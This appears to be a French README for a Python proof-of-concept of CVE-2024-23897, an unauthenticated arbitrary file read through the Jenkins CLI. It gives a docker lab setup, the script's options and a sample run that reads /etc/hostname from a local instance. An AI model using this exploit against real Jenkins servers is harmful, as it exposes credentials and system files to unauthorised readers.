
PoC Python pour CVE-2024-23897 lecture de fichier arbitraire Jenkins via la CLI, exposant la divulgation de fichiers non authentifiée avec plusieurs méthodes d'exploitation.
Une preuve de concept (PoC) pour CVE-2024-23897, une vulnérabilité de lecture arbitraire de fichiers dans l'interface en ligne de commande (CLI) intégrée de Jenkins. Elle permet à des attaquants non authentifiés disposant de l'autorisation Overall/Read de lire des fichiers arbitraires sur le système de fichiers du contrôleur Jenkins.
Versions affectées
Lancez une instance vulnérable locale avec docker compose :
cd docker
docker compose up -d
L'instance sera accessible à l'adresse http://localhost:1234
❯ python CVE-2024-23897.py --help
usage: CVE-2024-23897.py [-h] [--url URL] [--file FILE] [--method {1,2,3}]
Jenkins CVE-2024-23897 file-read PoC
options:
-h, --help show this help message and exit
--url URL URL for Jenkins instance (default: http://localhost:1234)
--file FILE File to read (default: /etc/hostname)
--method {1,2,3} The method to use [connect-node(1), who-am-i(2), or help(3)] (default: 1)
Exemple
❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/hostname'
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/hostname
[i] Download request done
[+] Found data, printing...
ERROR: No such agent "jenkins_vuln_instance" exists.
[i] Upload request done
[i] All threads completed
Le script peut rencontrer des problèmes pour lire des fichiers volumineux en raison de la concurrence et des délais d'attente de connexion. Pour plus de détails techniques et une analyse de la vulnérabilité, consultez mon article de blog sur le sujet.